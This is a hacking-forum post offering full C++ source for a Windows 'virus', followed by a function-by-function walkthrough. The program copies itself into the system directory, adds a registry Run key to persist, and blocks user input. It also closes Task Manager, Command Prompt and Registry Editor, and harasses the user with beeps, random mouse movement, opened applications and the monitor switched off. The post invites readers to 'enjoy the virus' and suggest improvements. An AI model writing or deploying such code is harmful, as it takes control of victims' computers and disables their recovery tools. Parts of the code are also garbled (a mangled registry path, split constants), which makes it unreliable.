www.i4info.org

Would you like to react to this message? Create an account in a few clicks or log in to continue.
www.i4info.org

i4info Provides the best hacking Material. Latest hacking tutorials and tools are available here. It is the best place for hackers.

Latest topics

» Teen Patti Gold Hack & 3 Patti Chips Code Extra Bonus 2017
How to program a virus in c++ EmptySat Apr 29, 2017 10:50 am by ubedullah

» Group hackers
How to program a virus in c++ EmptySat Apr 15, 2017 2:37 pm by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptySat Apr 15, 2017 3:57 am by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptySat Apr 15, 2017 1:45 am by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptyThu Apr 13, 2017 11:10 pm by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptyTue Apr 11, 2017 2:07 pm by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptyTue Apr 11, 2017 2:21 am by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptyTue Apr 11, 2017 2:06 am by Group Hackers

» Hacker Needed
How to program a virus in c++ EmptyTue Apr 11, 2017 1:35 am by Group Hackers

May 2024

MonTueWedThuFriSatSun
  12345
6789101112
13141516171819
20212223242526
2728293031  

Calendar Calendar

Affiliates


free forum

Forumotion on Facebook Forumotion on Twitter Forumotion on YouTubeForumotion on Google+

Visitors Counter


Flag Counter


    How to program a virus in c++

    Admin
    Admin
    Admin

    Posts : 474
    Reputation : 8
    Join date : 2014-12-10
    Age : 31
    Location : Pakistan
    20160924

    How to program a virus in c++ Empty How to program a virus in c++

    Post by Admin

    Here I’m today with an another Post This time Specially For Our Visitors. Please the Code Down Is not to be used For any Wrong Purpose You are Yourself Responsible for, and Consequence That May Follow by the unauthorized use.

    Virus Making Is A crime and i don’t Take Any Clam over the Code it is not written By ME.
    #include "iostream"
    #include "stdio.h"
    #include "windows.h"
    #include "winable.h"
    #include "conio.h"
    #include "ctime"
    using namespace std;

    int random, Freq, Dur, X, Y;
    HWND mywindow
    , TaskMgr, CMD, Regedit;
    char Notepad[MAX_PATH]="notepad.exe";
    char MineSweeper[MAX_PATH]="winmine.exe";
    char Hearts[MAX_PATH]="mshearts.exe";
    char Website[MAX_PATH]="http:\\www.google.com";

    void SetUp();
    void Run( int ID );
    void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

    DWORD WINAPI
    DestroyWindows(LPVOID);

    int main()
    {
    srand
    ( time(0) );
    random
    = rand()%6;
    system
    ("title :.Virus.:");
    BlockInput( true );
    SetUp();
    BlockInput( false );
    CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
    while(1)
    {
    Run( random );
    Sleep(10);
    }
    }
    void SetUp()
    {
    char system[MAX_PATH];
    char pathtofile[MAX_PATH];
    HMODULE
    GetModH = GetModuleHandle(NULL);
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
    GetSystemDirectory(system,sizeof(system));
    strcat
    (system,"\\winminer.exe");
    CopyFile(pathtofile,system,false);

    HKEY hKey
    ;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
    RegCloseKey(hKey);

    mywindow
    = FindWindow(NULL,":.Virus.:");
    cout
    <<"You Are Doomed cyberot";
    Sleep(1000);
    ShowWindow(mywindow, false);
    }

    void Run( int ID )
    {
    if( ID == 1 )
    {
    BlockInput(true);
    }
    else if( ID == 2 )
    {
    Beeper();
    }
    else if( ID == 3 )
    {
    OpenStuff();
    }
    else if( ID == 4 )
    {
    Hibernation();
    }
    else if( ID == 5 )
    {
    CrazyMouse();
    }
    else
    {
    BlockInput(true);
    Beeper();
    OpenStuff();
    CrazyMouse();
    }
    }

    void Beeper()
    {
    Freq = rand()%2001;
    Dur = rand()%301;
    Beep( Freq, Dur );
    }
    void OpenStuff()
    {
    ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
    ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
    ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
    ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
    }
    void Hibernation()
    {
    Sleep(1000);
    SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
    }
    void CrazyMouse()
    {
    X
    = rand()%801;
    Y
    = rand()%601;
    SetCursorPos( X, Y );
    }

    DWORD WINAPI
    DestroyWindows(LPVOID)
    {
    while(1)
    {
    TaskMgr = FindWindow(NULL,"Windows Task Manager");
    CMD
    = FindWindow(NULL, "Command Prompt");
    Regedit = FindWindow(NULL,"Registry Editor");
    if( TaskMgr != NULL )
    {
    SetWindowText( TaskMgr, "You Suck Balls Superman");
    PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( CMD != NULL )
    {
    SetWindowText( CMD, "You Suck Balls Superman");
    PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Regedit != NULL )
    {
    SetWindowText( Regedit, "You Suck Balls Superman");
    PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }

    Sleep(10);
    }
    }

    Turn off the monitor

    void Hibernation()
    {
    Sleep(1000);
    SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
    }

    making your mouse go crazy. Make two rand var’s and tell the mouse to goto them
    void CrazyMouse()
    {
    X
    = rand()%801;
    Y
    = rand()%601;
    SetCursorPos( X, Y );
    }

    open random Apps as it says OpenStuff
    void OpenStuff()
    {
    ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);
    ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);
    ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);
    ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);
    }

    Find windows by name and destroy them … Using the FindWindow command lets use do it and if its not null and it found the window open give it a command.
    DWORD WINAPI DestroyWindows(LPVOID)
    {
    while(1)
    {
    TaskMgr = FindWindow(NULL,"Windows Task Manager");
    CMD
    = FindWindow(NULL, "Command Prompt");
    Regedit = FindWindow(NULL,"Registry Editor");
    if( TaskMgr != NULL )
    {
    SetWindowText( TaskMgr, "You Suck Balls Superman");
    PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( CMD != NULL )
    {
    SetWindowText( CMD, "You Suck Balls Superman");
    PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Regedit != NULL )
    {
    SetWindowText( Regedit, "You Suck Balls Superman");
    PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }

    Add your program to run when windows starts
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
    RegCloseKey(hKey);

    Make your comp beep different freq and different lengths again by rand numbers
    void Beeper()
    {
    Freq = rand()%2001;
    Dur = rand()%301;
    Beep( Freq, Dur );
    }

    That’s pretty much it enjoy the virus and I am not responsible for your actions.
    Share your feedback on how the virus can be improved.
    Share this post on: reddit

    No Comment.


      Current date/time is Mon May 13, 2024 10:57 am